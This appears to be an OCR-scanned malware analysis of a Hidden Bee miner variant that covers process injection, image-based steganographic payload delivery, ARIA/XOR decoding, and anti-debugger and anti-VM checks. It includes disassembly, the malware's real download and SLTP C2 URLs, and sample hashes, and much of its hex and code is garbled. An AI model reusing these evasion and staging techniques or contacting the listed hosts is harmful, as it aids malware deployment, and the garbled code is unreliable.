[ L]
ntdll.dlla..
ERHELZZ.dL L.
AOUVAFIZZ.dL
.#.Cabinet.d
S+ MSUCRT.ALL.
St Ew- Eﬁwnuiw
+ Cw@SCwLUCwLSCw
LTEwTSFw[\EwaEw
Ao - H™ - wihuaa
40w L Cwt #Jwd Juw
+E . wHEMWI A WF]| Fw
b#MIES . WEEAWHH . W

OF Wil WhS WA

We can see that it follows an analoglcal structure to the one described in last year’s article.
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This module is first executed within Internet Explorer. Then, it creates another process
(dllhost.exe) in a suspended state:

BZAZEAARS 5035 FCFFFFFF
BZAZEATE =15]

BZAZAASA =1

B2A2aA21 =1

B2R2EAZ:2 &H B4
B2A2EAS4 =1

B2AZEASE =1

BZASEARSE 55

B2RAZARST 5035 34FOFFFF

B2AZARS0 56

BZAZEAASE 1|

A2 A2ARZE FF15 2881A28:2
2ECE

BZAZEASTY |+~ 74 40
4

FUSH ERE
FUSH ESI
FPUSH ESI
PUSH Ewd
FUSH ESI
FUSH ESI
FUSH ESI

FUSH ESI

FUSH ERX

CALL DWORD PTR DS5:[8x2A2@126]
TEST ERX,ERX

JE SHORT B2ASBAES

LEA ERX,ONORD PTR 55: CEEF-B:541

LEA ERX,OWORD PTR 55: CEEP-@:2CC]

kernel3z2.CreatePracessh

ERX=A88R88E 1

Stack address=BZ21AC1E88, (UHICODE =E:\\Nlndnws\\ayﬁtENSE\\dllhnst.EHe=]

Address |Hex dump

ASCII

BzASEECE| 2B 45 OC FFl41

BZRAZEEEA| 81 B4 88 18| 1C BB V4 B8 BC 65 B8 88|22 EE B0 08(Ge. bo.t.. 3. k2.,

B2A2EE1A) 7R BE B3 8@ 12 BEZ G0 B8 60 00 G0 88 89 00 11 88 pe. 5. ... ... -
BZRSAEZE| SE 74 &4 EC G0 2E &4 GC|GC BB DF BC BB 26 B3 4B|ntdil.dil....&.E
B2A2EE3A| 45 B2 4E 45| 4C 22 22 2E| &4 &C &C B8 88 AC 60 823 ERMEL22.d1L....H
BZASEGAE| BB 41 44 S6 41 CA 49 33/ 32 2E &4 6C|6C 08 6@ BE|.ADUAPTZZ.d1l..e
BZAZEASH| BB B4 @B 43|61 62 &9 EE|65 74 ZE &4|6C &C BE @@ .+, Cabinst.dll..

BZAZAEEA| BR BB A5 B8 40 53 56 43|52 54 2E 64| 6C 6C A8 848 ..
BZAZEE7A| B8 BB 88 B8 15 FA 30 77| FA 47 3F 77| E4 H3 253 77...
BZRZAESA| 1B 2B 2F ¢7F| 4@ 52 2F ¥¥|CA 55 SF FF | CH 53 SF 77 +:CwEScCw tUcw ME5Cw
B2A2EE%9R| CA 54 2F F7) 1F 52 92 77|28 EC 98 77| 72 &2 98 ¢7
B2AZEEHA) C4 72 98 748 6B 98 FF) &8 41 BF PP BE EY 9] VA - v - wwihoaa
B2A2EEEBA| DS 2C 2F FF| CA 4C BF ?? EE EH BE ?? DB D9 BE ?? 0w L Cwt #awd! Ju

+. MSUCRT.dLL..
P Ew-GoWnaEw

LTEuTSfu[\EquEu

7l +E. wASMWIA . WFIl Jw

It injects its original copy there (769a05f0eddd6ef2ebdd13618b244758)

(7 dilhost.exe (2784) Properties

 General | Statistics | Performance | Threads | Token | Modules | Memory | Environment | Handies | Comment

/| Hide free regions
Base address Type Size Protect... Use Tot
0% 10000 Private 128kB RW 1
* 0x30000 Mapped 15 R
[ Dx40000 Private 4B RW
# x50000 Mapped S2kB RWX
Ox 50000 Mapped: Com... 52kB RWX

oooooooo B 04 oo
00000010 70 06 00
00000020 64 Te 6e
00000030 4f 58 44
00000040 00 4b 4e
00000050 00 04 00
00000060 Oa 00 06
00000070 00 00 00
00000020 24 75 82
00000030 Se 96 93
00000020 47 7b 08
000000b0 4f Sb a8
000000c0 Be da £d
00000040 2£ B7 d&

Then it redirects execution to its loading function. Below, we can see the Entry Point of the

# | dilhost.exe (2784) [0:50000 - 0:5d000)

10 1c Oa 74 00 Oc 05 00 OO
00 1& b8 00 00 00 00 OO0 00
66 66 24 6e 66 66 00 00 Oc
4f 46 39 38 24 6e 66 &6 00
Sc 4b Sa 43 39 3B 24 &e 66
49 &b EE &3 &4 6f Te 24 Ee
00 47 59 5c 49 58 e 24 Ge
00 Bc 7 ae 97 9f 66 bd &b
Od 30 b& 82 0d 5d bb 93 lc
lc 06 2e &b d3 £9 58 b 04
55 11 45 15 4e 89 5f b7 29
63 90 75 82 0d 23 32 al &f
ed 58 3f 15 5a fa 34 19 49
lc 1f bb 31 cf 27 75 8d ca

implanted module within dllhost.exe.

88 be 00 00 ..coceCuanicanna. -~
09 00 11 00 Pavsvvsnssnnnnns
00 26 00 41 d~nfiénff....s.R
00 Oc 00 OB OXDOF9Bsnff.....

66 00 00 Ob .ENM\KZIC98&nff...
66 B6 00 00 ...Ikhecdo~gnff..
66 &6 00 00 ....GY°\IK~enff..
b S5c BB Ob sovavssss .l
ca 96 93 lc SU..Diccnunnnanns
07 32 b5 50 ~.....k..X...2

8d af d2 7d G{.U.E.N._.)
3c ce ee 30 O[.c.u..#2.0¢..
fe e5 19 0 .sus I
e cf BE 66 /uuruoli"dunnno £
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* KernelMode - dllhost.exe - [*G.P.U* - main thread]
@ File View Debug Plugins Options Window Help

et @€ x] w] w34 $04 ] i L]E[MT|wmE]c|/]x

FF7424 @3 FUSH OWORD FTR S55:[CESP+Ex3] implanted_modu le_ep
BEESACSD FFS424 @3 CALL OWORD FTR 55:[CESP+BxE1
BEESACE] C2 BCaa RETH &:C
BEASACED =1 PLUSH EBP
BEESEACEE SBEC Mou EBP,ESP
BEASACET S2EC 12 SUB ESP,Gn1s
BEASACEH =)= PUSH EB:X ntdl L. 7Fa9714C
BEESACEE SBSD 12 MOY EE=, OWORD FTR SS:[EEF+8:151
ARASACAF ER FIISH FST

4 |
Stack S5t LB011F4ECI-OBESCESH

Hddress |Hex dump HSCIT

pEESEEEEal 64 @B 1@| 1C 6A 74 9@ 8c 85 DD BE| 22 BE o0 GE|Ge, bo.t. o 3L B2
BEASEALA(FE B5 OE BE| 128 BE OB BE| 88 60 OB 8@ 87 B0 11 BE(pe. .15, .00 aus 1.
BERSEEZE| 64 FTE 6E &6| 66 24 GE G6| 66 BE HE BC|( B8 26 BE 41 (d nffinff....&.A
BERSAASE| 4F 55 44 4F (46 29 38 24| 6E 66 65 B@|( B8 BC BE B2 0<D0F9585nff....0H
PEESEA4E( B3 4B 4E SC(4E SA 42 29|22 24 6E 66|66 BE BA BE( .KM-KZC9S85nff..d
BHESEECHE( BE B4 B8 49| 6B &8 62 64| EF FE 24 SE|6E &6 BE BE| . #. Ikhodo™snff..
GEESEAEE[ BA 68 A5 88|47 559 EC 49|52 EE 24 &E| &6 &6 BE Ba( ., .+, GV I5"5nff..
BEASEATE|BE B8 G8 88|3C EY AE 97| 9F &6 BD &E|9E SC 88 BOE(.... E5=3&F2kT~ba
BEESEEgE[ 24 75 92 60|28 BS 82 80(90 BE 932 1C|CA 26 93 1C(4fud.BSe. kEqdc=lac
BEASEESE|(SE 96 93 1C|B& ZE 6B D3| F? 58 BS B4|BF 32 BS S@| “FdLs.kE HAe- 2AF
BEESEERE| 47 FE B8 55|11 45 15 4E|(89 5F BY 29|80 AF 02 70| GIAUAEEHE_EI 20O}
BERSAEEE|( 4F EE AS &2( 98 75 82 @0O|22 22 Al &F|3C CE EE 2@(0[EcEuE. #2 1ot @
BERSEACA| 2E DA FO E2| 52 2F 15 SAIFA 24 19 49|FE EE 19 BE[Arf0EYES 44 Infi+H

A detailed analysis of the execution flow of this module and its format will be given later in
the article.

At this point, it is important to note that the dilhost.exe is the module that further downloads
the aforementioned images.

The modules with the custom format

The module with the custom format is analogous to the one described before. However, we
can see that it has significantly evolved.

There are changes in the header, as well as improvements in the implementation.

Changes in the custom format

The new header is similar to the previous one. The few details that have changed are: the
magic number at the beginning (from 0x10000301 to 0x10000401), and the format in which
the DLLs are stored (the length of a DLL name has been added). That’s why we will refer to
this format as “0x10000401 format.”

Another change is that now the names of the DLLs are obfuscated by a simple XOR with 1
byte character. They are deobfuscated just before being loaded.
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M=
@a31150C
@083115DC decode func_name:
BB831150C mov cl, [esit5]
@83115DF xor [eax], cl
BB3115E1 mov ecx, [ebptarg_g]
BB3115E4 movzx  edx, byte ptr [edi]
@B83115E7 inc eax
@#B83115E8 add BCH, SaX
@B3115EA cmp ecx, edx
@83115EC jb short decode func_name
—
‘ YvYY
I
3115EE
3115EE loc_ 3115EE:
3115EE lea eax, [edi+4]
3115F1 push eax 3 _DWORD

3115F2 call ds:LoadlLibraryA
3115F8 test eax, eax

3115FA mov [ebp+var_18], eax
3115FD jz short loc_311636

Summing up, we can visualize the new format in the following way:

QOffset(h) 00 01 02 03 04 05 O6 O7 08 0% OA OB OC OD OE OF Decoded text

LD LLEO L 04 00 10 10 10 05 00 :-:-lss SE 00 OO [-..-Ceuunn. I.. HEADERS

00000010 |70 06 00 OO0

DLLs

0% 00 11 a0
00000020 64 TE 6E 66 66 22 GE 66 66 00 00 OC 00 26 00 41 d~nfESnff....&8.R  [||soffset = OxlC
00000030 4F 58 44 4F 46 32 38 24 6E 66 66 00 Q0 OC 00 0F OXDOF98Snff.....
R o . o o . - struct dll_record {

00000040 00 4B 4E 5C 4B S 43 39 38 24 6E 66 66 00 00 0B . KN\KZC983Snff... -
00000050 OO0 04 00 49 6B 62 63 64 G6F TE 24 G6E 66 66 00 00 ...Ikhcdo~$nff.. WORD name_length,
00000060 OR OO0 06 D0 47 52 5C 49 58 SE 24 6E 66 66 00 00 ....GY\IX~Snff.. WORD functions_count,

00 00 00 00 char name []; //XORed

h
00000070 8C E7 AE 27 9F &8 BD &2 9B 5C 88 OB Sem—2f k.. IAT
00000080 24 75 82 0D 30 B8 82 0D 9D BEE 93 1C CA 96 93 1C Su,.0,,.E»".E-".
00000090 SE 96 93 1C 06 2E 6B D3 F9 58 B6 04 07 32 B5 50 ~-...k06XT..2pP AT offset =0x74
LR N ] N
00000180 87 FO 96 7C 3D AD 39 0D C7 OE E0 3D F3 16 E6 F5  #d-|=.3.C.f=a.gg - /WO neckeum
00000190 7C BO 3E 88 EA 3D 9D 7C | " >.e=t]
64 B1 30 00 00 DO C3 56 d-o...AV CODE

0000D1A0 8B 4C 24 02 BB 44 24 08 33 D2 83 CO 14 38 51 07 <L&.<D§.3H.R.8Q. Entry Point = 0x050C
0000D1BO T4 1C 33 Fé 39 51 10 28 51 07 76 12 8B D6 83 EZ  t£.389Q..Q.v.<0.4
LE N ]
Q0000BE10 00 00 00 00 00 00 00 00 83 03 03 00 00 vuuenvnennn. e RELOCATIONS
0000B820 BF 03 00 00 E1 03 00 00 04 04 04 00 00 Z.uBevenennnnn.
0000BE30 24 04 00 00 2D 04 00 00 42 04 04 00 00 £...-...B...G... Offset =0xB818
0000BE40 55 04 00 00 &1 04 00 00 8C 04 04 00 00 U...a...5...5... Size = Dx0670
0000BE50 BF 04 00 00 CE 04 00 00 EE 04 04 po oo z...%...1i...a.
0000BE60 01 05 00 00 79 05 00 00 BO 05 05 00 00 eVl ® -
0000BET0 BE 05 00 00 CA 05 00 00 DF 05 05 00 00 I...E...B...c.
0000BEE0 F2 05 00 00 51 06 00 00 63 06 06 00 00 HuveQee.Cuunt. Mo
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https://blog.malwarebytes.com/wp-content/uploads/2019/08/new_hdr-2.png

Obfuscation used

This time, authors decide to obfuscate all the strings used inside the module. Now all the
strings are decoded just before use.

283187F5 lea eax, [ebp-2CCh]
BB3187FBE push 1@84h
ee3lasee push eax ; _DWORD

ee3lesel push offset unk_317838

eezleses call decode_memory

2831e3eE pop eCx

@8831e38C push eax ; _DWORD
88318380 call ds:ExpandEnvironmentStringsi

The decoding algorithm is simple, based on XOR:

Example: decoding the string before the use

| BYTE *__cdecl decode_memory( BYTE *input_arr)

1
_BYTE *output_arr; [/ eax
unsigned int indx; // esi
bool is_finished; // =f

output_arr = input_arr + @xl4;

if ( input_arr[7] )

|l I R v Y I L ) [ R R LN ]

;
;
u
;
-
I/
=
m
=
"
#*

DWORD *}input_arr + 4) == 8;

The string-decoding algorithm

output_arr[indx] "= input_arr[(indx & 7} + 8];

Sl = e R RN I ey R R R W L)

while { indx < *{({_DWORD *}input_arr + 4) };
1
¥

return ouUTpUT_arr;y

I L R S ]
R}

|-

}

Inside the images downloader

Let’s look inside the first module in the 0x10000401 format that we encountered. This
module is an initial stage, and its role is to download and unpack the other components. One
such component is in a CAB format (that’s why we can see the Cabinet.dll among the
imported DLLs).

The role of this module is similar to the first “WASM” mentioned in our post a year ago.
However, the current version is not only better protected, but also comes with some
improvements. This time the downloaded content is hidden in the images. So, analyzing this
element can help us to understand how the used stenography works.

First, we can see that the URLs are retrieved from their Base64 form:
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BB311B58 mow [ebpt+arg_8], eax

BB311B58 push eax

BB31165C lea eax, [ebptarg_e]

8@8311B5F push offset basesd Str ; "SQBodHRWOLSWMzguNzUuMTMILjkeOTA4OCOwWdWI™. ..
883116864 push eax

88311865 push esi

88311866 call basetd decode

BB311B6E add esp, 1Bh

This string decodes to a list containing URLs of the PNG and JPG files that are going to be
downloaded. For each sample, this set is unique. None of the URLs can be reused: the
server gives a response only once. An example of a URL set:

http://38.75.137.9:9088/pubs/wiki.php?id=937a4eadd6f5a94b3738a58dcc79cal3
http://38.75.137.9:9088/images/captcha.png?
mod=attachment&u=357e27e8af72925144ec1db2421d0cc5&1t
http://38.75.137.9:9088/views/q5ul78uv4b4q8bg8d95canrsns. jpg

So, we can confirm that this module is the one responsible for downloading and processing
the observed images. Indeed, inside we can find the functions responsible for their decoding.

Decoding the JPG

After the payload is retrieved, the JPG header is validated.

1CB8 jz loc_311F3C

1CBE cmp byte ptr [ebx], @FFh
1cC1 jnz invalid payload

1cc? cmp byte ptr [ebx+l], BD8h
1CCB jnz invalid_payload

1CD1 cmp word ptr [ebx+2], BEBFFh
1CD7 jnz invalid_payload

1CD0 cmp byte ptr [ebx+&], 'J°
1CE1 jnz invalid_payload

1CE7 cmp byte ptr [ebx+7], 'F'
1CER jnz invalid payload

1CF1 cmp byte ptr [ebx+8], 'I'
1CFS jnz invalid_payload

1CFE cmp byte ptr [ebx+3], 'F'
1CFF jnz invalid_payload

1085 cmp byte ptr [ebx+esh], @
1Dag jnz invalid_payload

Then, the payload is decoded by simply using an XOR with the last byte. The decoded
content is expected to start from the !rcx magic ID.
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2K ]

il e =

@a311069
28311069
@8311065 xor
@8831106C inc
368311060 cmp

Xor_next.

[eaxt+esi], cl
eax
eax, [ebx+18h]

@e31107ve jb short xor_next
‘ L B
Ll i (=
@e311072
88311072 loc_311072:
88311072 cmp [esi+4], edi
88311075 ja invalid_payload
Y
Ll i =]
88311076 cmp dword ptr [ksi], "xer!
88311081 jnz invalid_payload

After decoding the content, the hash of the !rcx module is validated with the help of SHA256
hash. The valid hash is stored in the module’s header and compared with the calculated

hash of the file content.

@a311D87
@a311D08A
@a311DaC
28311050
@a311098
28311091
@a311D098
223110986
@a311D0a8
@a311D4az2
@a311DAa5
@a311D4a7
@a3110A8
@a311DAD
@a311DE3
@a311DE4
@a311DB9
@a311DBC
@a311Dc2
@a311DC3
@a311Dc4a
@a311DCce
@a311DCF
@a31100e
@a311003
@a3110D4
@a311009
@a31100C
@a311D0DE
@a311D0F
@a311DE2
@a311DES
@a311DES

lea
push
push
lea
push
mov
lea
call
push
lea
push
push
call
lea
push
call
push
lea
push
push
call
lea
push
lea
push
call
lea
push
push
lea
push
call
add

eax, [esi+d]

32

eax

eax, [ebpt+var_4C)
eax

[ebptarg_2], 48
edi, [esi+28h)]
j_memcpy

32

eax, [esi+i]

@

eax

j_memset

eax, [ebptvar BC]
eax

sha256_init
[ebptvar_4]

eax, [ebpt+var_BC]
esi

eax

sha256_hash

eax, [ebptvar BC]
eax

eax, [esi+d]

eax
sha2s56_finish
eax, [esi+d]

32

eax

eax, [ebptvar_4C]
eax

bi_mememp

esp, 3Ch
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If the validation passed, the shellcode stored in the !rcx module is loaded. More details about

the execution flow will be given later.

Y

bl a5
8a8311E1F
@B311E1F loc_311E1F: 3 _DWORD
BB311E1F push 4ah
BB311E21 push leeeh 3 _DWORD
B8311E26 push dword ptr [edi+3] ; _DWORD
88311E29 push @ ; _DWORD
B88311E2E call ds:VirtualAlloc
B8311E31 test eax, eax
BB311E33 mov [ebptshellcode _mem], eax
BB311E36 j:z short loc_311E43

)

Y
=
BB311E38 push dword ptr [edits]
BB311E3E add edi, 18h
BB311E3E push edi
BB3L1EZF push eax
Be311E48 call Jj_memcpy
B@311E45 add esp, @Ch

The !rcx package has a simple header:

Qffsec(h) 00 01 02 03 04 05 06 O7 08 05 04 OB OC OD QE

00000000
00000010
00000020
00000030

31 CO 40 20 OF 84 56
Q00000040 OO0 OO EB 04 OO0 OO0 00 OF 00 &0 OC 38 60 €4 8B
00000050 30 OO0 00 00 52 51 50 56 E& 44 00 00 00 61 C3
00000060 54 24 04 BE 44 24 0C 56 8B 74 24 0C 57 8D 3C
Q0oO0O0OTD OF BT 02 42 42 83 FB 41 7C 08 83 Fg8 SR TF 03
00000080 CO 20 OF BT OE 46 46 83 F9 41 TC 02 83 F9 54
Q0000090 03 83 C1 20 3B D7 73 04 3B C1 74 D4 5F 2E C1
Q000O000OAD C3 55 BB EC 83 EC 4C 8B 45 08 53 56 57 8B TO
000000BD &R 6C 58 33 CS 6o 89 45 BE o6 89 45 CB &6 83
000000QCO CR 66 B89 45 EE &6 BS5 45 FO 66 89 45 F6 €6 89

Decoding the PNG

oF

o O T T Y ' I

= ) Wy kI ownown

[y}

(]

Decoded text

I!r

D..[.\x.0":H
F¥.&f L. .:18. .10

ﬁ~t<x5§.° .......
Hivewnns

1R@. ..V

B e L.X'de S

0...RQPVED. . .ake
T4.¢DS.Vens W<,
.-.BE.FR|..FZ...
& .-.FF.GR|..4Z.
LA ;Hs.;it6_+i“
Allc & . EL<E.S5VH<p.
J1XIEfREIfRECTLE
Ef%EifsEdf%EATRE

Magic: Ircx
Size
SHA256

Code

Retrieving the content from the PNG is more complex.

o :I"?“captcha.png” —the encrypted CAB file

o e

ot s g LR
RN LA x'l'r-"h" k

First, after downloading, the PNG header is checked:
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8B83116CE loc_3116CE:

BB3116CE lea eax, [ebp+var_8]
88311601 push a

88311603 push eax

22311604 push edi

883116D5 xor esi, esi
28311607 mov [ebptvar_8], 88h
28311608 mov [ebptvar_7], P’
BB3116DF mov [ebpt+var_&], "N’
BB3116E3 mov [ebp+var_5], "G’
BB3116E7 mov [ebp+var_4], @bDh
B83116EE mov [ebp+var_3], @ah
@B3116EF mov [ebp+var_2], 1ah
@B3116F3 mov [ebptvar_1], @ah
BB3116F7 call j_memcmp
BB3116FC add esp, BCh

The function decoding the PNG has the following flow:

33| deccded buf = @;

34| png_hdr = 8x89u;

35 w13 = 'P';

36| vi4 = "N';

37 = 'a';

38 = "\r';

39 = '\n";

48| v1g = 26;

41| w19 = 1@;

42 if ( !'j_memcmp(payload, &png_hdr, B) )

43 deceded buf = ( BYTE *)decode_from_png(payload, functions list, &size};
44 result = free{payload);

45| if ( decoded_buf )

a6| {

47 if ( !(size & 3) )

438

49 buf _ptr = decoded buf;

58 aria_set_key((unsigned int *)&crypt_ctx, aria_key_ptr + 4, *{ DWORD *)aria_key_ptr);
51 j_memset(aria_key ptr + 4, @, *(_DWORD *)aria_key_ptr);

52 if ( size )

53 iy

54 dao

55 {

56 aria_crypt_round(&crypt_ctx, buf_ptr, buf_ptr);

57 index += 163

58 buf ptr += 16;

59

68 while ( index < size );

61 3

62 if ( *decoded_buf == "M’ && decoded_buf[1] == 'S" && decoded_buf[2] == 'C" && decoded buf[3] == 'F' )
63

64 if ( unpack_cab(&v18, (int)decoded buf, size) )

65 {

66 module_name = decode_memory((int)sub 317EE4);// "bin/i386/core.sdb”
67 load_from_package(index, (int)deceded buf, (int)&v18, module_name, @);
68 free_module(&v1g);

&9 1

7@ 3

71 3

72 result = free(deceded_buf);

730 3

74 return result;

75(}

It converts the PNG into byte content and decrypts it with the help of ARIA cipher. The result
should be a CAB format. The unpacked CAB is supposed to contain a module
“bin/i386/core.sdb” that also occurred in our previous encounters with Hidden Bee.
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https://blog.malwarebytes.com/wp-content/uploads/2019/08/decode_and_load_coresdb.png
https://en.wikipedia.org/wiki/ARIA_(cipher)

The authors are careful not to reuse URLs as well as encryption keys. That’s why the Aria
key is different for every unique payload. It is stored just after the end of the 0x10000401
module :

QOOQ0OBETO ©O4 74 00 00 1E 74 00 OO0 24 74 00 00 2 74 00 00 .t...t..5t..*C..
OOQ0OBEED 30 74 00 00 3& 74 00 OO0 NRAEGTIEEVIEN-- R A= R-liR-Teamil! OC..6C..[..0F«x

O000BESD  riee MW SR = ey =il 00 00 OO0 00 00 00 ia.«-&ek
0000BERAD OO OO OO0 OO OO0 OO 00 OO0 00 OO0 OO0 00 OO0 00 00 00

format: WORD key length; BYTE key_bytes]];
During the module’s loading, the key is rewritten into another memory area, from which it is
used to decrypt the downloaded module.

8831e5C4 movzIx  ecx, word ptr [esi] ; copy the ARIA key

Be3185C7 mov [eax], ecx

283185C9 mov eax, ds:aria_key ptr
8@83185CE push dword ptr [eax]
88318508 add eax, 4

88318503 push ebx
ee31es04 push eax
@8318505 call j_memcpy
ee31es0a add esp, BCh

TEET;

e
e@a31as500
88318500 loc_ 31850D:
28318500 cmp ds:aria_key ptr, @
BB3185E4 jnz short continue_to downlcad
|1
e
aa3laesEs @a31asEE
883185e6 loc_3185E6: ; _DWORD| (@@31e5EE kcntinue_tc_dcwnlcad: ; _DWORD
Be3185e6 push a8 BB3185EE push 7
B@3185E8 call ds:ExitProcess 8@3185F8 call ds:SetErrorMode
8@83185F6 mov eax, [ebptparam]
B@83185F9 push dword ptr [eax+8Ch]
8@3185FC call download_and_deccde_images
82310601 jmp loc_31@AF1

The CAB file retrieved from the PNG is available here:
001bdc26b2845dcf839f67a8760c6839

‘ { > |ﬁ2|" Location: ‘i /binfi386/

Name -~ | Size Type Modified
' core.sdb 26.7 kB unknown 01 January 1970, 01:00

It contains core.sdb (d1a2fdc79c154b120a0e52c46a73478d). That is a second module in
Hidden Bee’s custom format.
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https://malshare.com/sample.php?action=detail&hash=001bdc26b2845dcf839f67a8760c6839
https://malshare.com/sample.php?action=detail&hash=d1a2fdc79c154b120a0e52c46a73478d

Inside core.sdb

This module (retrieved from the PNG) is a second downloader component in the
0x10000401 format. This time, it uses a custom TCP-based protocol, referenced by the
authors as SLTP. (This protocol was also used by the analogical component seen one year
ago). The embedded links:

sltp://dns.howtocom.site:1108/minimal.bin?id=998
sltp://bbs.favcom.space:1108/setup.bin?id=999

Execution flow

1.
2.

&

Checks for blacklisted processes. If any are detected, exits.
Removes functions: DbgBreakPoint , DbgUserBreakPoint by overwriting their
beginning with the RET instruction.
Checks if the malware is already installed. If yes, exits.
Creates an installation mutex {71BB7F1C-D700-4487-B9C6-6DD9863DFEQ1}-ins.
If the module was run with the flag==1:
1. Connects to the first address:
sltp://dns.howtocom.site:1108/minimal.bin?id=998
2. Sets an environment variable INSTALL_SOURCE to the value given as an
argument.
3. Runs the downloaded next stage module.
If the module was run with the flag!=1:
1. Performs checks against VM. If detected, exits.
2. Connects to the second address:
sltp://bbs.favcom.space:1108/setup.bin?id=999 . This time, appends the
victim’s fingerprint to the URL. Format: <URL>&sid=<INSTALL_SID>&sz=<unique
machine ID: 16 bytes hex>&os=<Windows version number>&ar=
<architecture>
3. Runs the downloaded next stage module.
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Defensive checks

At this stage, many anti-analysis checks are deployed. First, there are checks to detect if any
of the blacklisted processes are running. The enumeration of the processes is implemented
using a low-level function: NtQuerySystemInformation with a parameter 5

( SystemProcessInformation ).

36 j_memset({int)vl, @, SystemInformaticnlength);
37 if ( !NtQuerysystemInformation(v3, %, v2, SystemInformationLength, &SystemInformationLength) )
38
39 while ( !'blacklisted_processes[8] )
4
41|check_next:
42 if ( !'*(_DWORD *)v2 )
43 goto finished;
a4 v2 += *( _DWORD *)v2;
45 1
46 next_proc_name = blacklisted_processes;
7 _next proc name = blacklisted processes;
48 while { 1 )
49 y
58 RtlInitUnicodeString(&ve, *next_proc_name);
51 if ( (_WORD)wE == *((_WORD *)vZ + 28) )
52
53 if { (unsigned __ int8)RtlEqualUnicodestring(&vs, w2 + 56, 1) )
54 break;
55 3
56 next_proc_name = _next_proc_name + 13
57 _next_proc_name = next_proc_namej
5B if { !'*next_proc_name }
50 goto check_next;
&8 1
Bl blacklisted found = 1;
62
G3([finished:
64 LocalFree(v7);
65| ¥
66| return blacklisted found;
67[}

The blacklist contains popular debuggers and sniffers:

“‘devenv.exe” , “wireshark.exe”, “vmacthlp.exe”, “procmon.exe”, “ollydbg.exe”, “idag.exe”,

LEE 11

“‘ImmunityDebugger.exe”, “windbg.exe”

LE 11

“‘EHSniffer.exe”, “iris.exe”, “procexp.exe”, “filemon.exe”, “fiddler.exe”

The names of the processes are obfuscated, so they are not visible on the strings list. If any
of those processes are detected, the execution of the module terminates.

Another function deploys a set of anti-VM checks. The anti-VM checks include:
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46| ms_exc.registration.TrylLevel = @;
47| CPUID check(&v27, @x40000000);

48| *{ DWORD *)v33 = v28;

45| *( DWORD *)&v33[4] = v29;

58| *(_DWORD *)&v33[B] = v3e;

51| ms_exc.registration.Trylevel = -1;
52| HIBYTE(v34) = @

53| if ( WPCEXT _check() )

54 goto set_wm_flag;

55 if ( vMWare_io_check() )

56 goto set_wm_flag;

CPUID with EAX=40000000 (a _check for Hypervisor’s Brand):

@24335CH
a24335D08
@24335D6
@24335D7

82433414
82433416
8243341E
a@z2433428
82433422
82433424
82433426

push
lea

push
call

pusha
mav
HOr
xor
Xor
cpuid
mav

leeeeaseh

Fl a

eax, [ebptvar 544]

eax
CPUID check

eax, [ebpt+arg_4]
ebx, ebx
eCx, ecx
edx, edx

edi, [ebptarg_ge]

The VMWAre I/0O Port (more details [here]):

B243353A
B243353F
82433544
82433549
B243354E
B243354F
B2433555

82433463
82433464
82433469
B24334BE
82433402
B24334C4

Mo
Mo
mow
mow
in
cmp
setz

push
mov
mav
vpcext
test
setz

eax, "VMKh'
ebx, @

ecx, @ah
edw, VX'
eax, dx

ebx, "VMXh'
[ebpt+var_1C]

ebx

ebx, @

eax, 1

7, BBh

ehx, ebx
[ebp+var_1C]

3 check for VMware

VPCEXT instruction (more details [here])

Checking the list of common VM vendors:
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https://rayanfam.com/topics/defeating-malware-anti-vm-techniques-cpuid-based-instructions/
https://handlers.sans.org/tliston/ThwartingVMDetection_Liston_Skoudis.pdf
https://shasaurabh.blogspot.com/2017/07/virtual-machine-detection-techniques.html
https://wiki.osdev.org/CPUID

57| v = decode_memory(&str XenWMMXenVMM) ; J T KenVMMKenViMM®
58| if ( !'strncmp(v3iz, ve, 12) )

59 goto set_wm_flag;

68| vl = decode_memory(&str VMWareVMware); J "VMwareVMware”
61| if ( !strncomp(v33, w1, 12} )

62 goto set_wm_flag;

B3| w2 = decacE_memry{&str_KvﬂKvMK\m} ; A4 TRMIVMVIMT
64| if { !strnomp(v33, vz, 12) )

65 goto set_wm_flag;

66| w3 = decode_memory(&str KVMIKVMIVMY ; J T EVMIKVMEVM™

67| if { !'strncmp(v3z, vz, 12) )

68 goto set_wm_flag;

59| wid = decode_memory(8unk_2435F78}; J4 " lepepyh wr®
7@l if { !strncmp(v33, w4, 12} )

71 goto set_wm_flag;

72| w5 = decode_memory(&unk_2435F58); /f "sbiedll.dll™

73| if ( GetModuleHandleA(vs) )

74 goto set_wm_flag;

75| if { !'@etComputerNameW(Buffer, &nSize) )

76 goto set_wm_flag;

77| wB = (const WCHAR *)decode_memory(dword_2435F34);// L"SANDBOX"
78| if ( !1lstrcmpil({Buffer, wb} )

79 goto set_wm_flag;

8| nsize = 1824;

81| if ( !'@etUserNameW(Buffer, &nSize) )

82 goto set_wm_flag;

83| w7 = (const WCHAR *)decode_memory(2unk 2435F@8);// L"CurrentUser”
84| if ( !1strempiW{Buffer, w7} )

85 goto set_wm_flag;

86| w8 = (const WCHAR *)decode_memory(dword_2435F34);// L"SANDBOX"
87| if ( !'1lstrcmpil({Buffer, w8} )

38 goto set_wm_flag;

Checking the BIOS versions typical for virtual environments:

89| w9 = decode_memory(&unk_2435EES); /f UstrstrIiA”
98| w18 = decode_memory(&unk_2435EC8); /f "shlwapi.dll”
91| shlwapi_dll = LoadlibraryA(via);

92| Str5trIA = GetProcAddress(shlwapi_dll, va);

93| if ( !StrstrIA )

a4 goto not_detected;

95| j_memset((int)Buffer, @, 2048);

95| w12 = decode_memory{&unk_2435EAB); // "SystemBiosVersion"”

97| wl3 = decode_memory(&byte 2435E78); // "HARDWARE\DESCRIPTION\System"
98| if ( read_registry_key(v13, v12, (BYTE *)Buffer, @) )

99

1@@ if ( ((int (_ stdcall *)(WCHAR *, const char *))str5trIA)(Buffer, "VBOX") )
181 goto set_wm_flag;

lez

183| wvl4 = decode_memory{&unk_2435E48); /f "VideoBiosVersion”

184| w15 = decode_memory(&byte 2435E78); // "HARDWARE\DESCRIPTION\System"
185 if ( read_registry key(vls, vl4, (BYTE *)Buffer, @) )

106 {

167 v16 = decode_memory(&unk_2435E28); S/ "virtualBox"

188 if ( ((int (__thiscall *)(int, WCHAR *, _BYTE *))StrstrIa)(vl7, Buffer, vi6) )
189 goto set_wvm_flag;

118| }

111| w18 = decode_memory(&unk_2435EAB); // "SystemBiosVersion"”

112| w19 = decode_memory(&str_Windows_CurrentVersion);// “SOFTWARE\Microsoft\Windows\CurrentVersion”

113 if ( read_registry_key(vl9, v1d, (BYTE *)Buffer, @)
114 &% ((idl = decode_memory(&unk_24350B4), ((int (_ thiscall *)(int, WCHAR *, _|

115 || (id2 = decode_memory(&unk_2435D88), ((int (_ thiscall *)(int, WCHAR *, | *))Strstria)(vis, Buffer, id2))// "76487-644-3177837-23518"
